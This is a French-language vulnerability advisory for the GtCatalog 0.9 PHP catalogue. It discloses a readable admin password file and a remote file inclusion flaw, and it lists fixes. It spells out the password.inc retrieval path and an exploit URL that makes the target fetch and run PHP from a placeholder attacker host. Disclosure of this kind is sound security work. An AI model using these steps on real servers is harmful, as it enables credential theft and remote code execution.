GtCatalog ********* Informations : °°°°°°°°°°°°°° Langage : PHP Version : 0.9 Website : http://www.geektweaked.com Problèmes : - Récuperation du mot de passe administrateur - Inclusion de fichier Developpement : °°°°°°°°°°°°°°° GTCatalog est un catalogue de commerce, affichant des articles, leur prix, une description, une photo de l'article, et contenant une partie administrative. La première faille vient du fait que le mot de passe admin est contenu dans un fichier .inc, dans la variable $globalpw. Les fichiers .inc peuvent être lu par tous, donc celui-ci aussi ! Le fichier est password.inc. Pour récuperer le mot de passe admin de http://[target]/, il suffira donc de se rendre sur http://[target]/password.inc . La deuxième faille se trouve dans le fichier principal index.php. On peut y voir le code suivant : ------------------------------------------------------------------------------------------------------- [...] switch ($function) { case "custom": $cc = new Template(); $cc->set_file("head",$dir_base.$dir_template."header.inc"); $cc->set_var(array( 'clientcode' => $cfg_clientcode, 'title' => $cfg_title." - ".$custom)); $cc->parse("output","head"); $cc->p("output"); include($custom.".custom.inc"); include ($dir_base.$dir_template."footer.inc"); break; [...] ------------------------------------------------------------------------------------------------------- Les variables $dir_base et $dir_template sont définie dans config.inc, lui-même inclut auparavant dans index.php, la ligne ----------------------------------------------- include ($dir_base.$dir_template."footer.inc"); ----------------------------------------------- n'est donc pas utilisable. Mais la ligne ------------------------------- include($custom.".custom.inc"); ------------------------------- l'est, elle, car la variable $custom n'est définie nulle part. Donc si le fichier http://[attacker]/1.custom.inc est créé, contenant un code PHP, ce code pourra être executé sur le serveur [target], et avec ses droits et restrictions, avec une url du type : http://[target]/index.php?function=custom&custom=http://[attacker]/1 Solutions : °°°°°°°°°°° - Renommer le fichier password.inc en password.inc.php, et changer l'include() correspondant au début d'index.php. - Vérifier que $custom.".custom.inc" est bien un fichier local, grâce par exemple à la fonction file_exists(). Un patch peut être trouvé sur http://www.phpsecure.info. Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@phpsecure.info Website : http://www.frog-man.org, http://www.phpsecure.info . Date : 03/03/03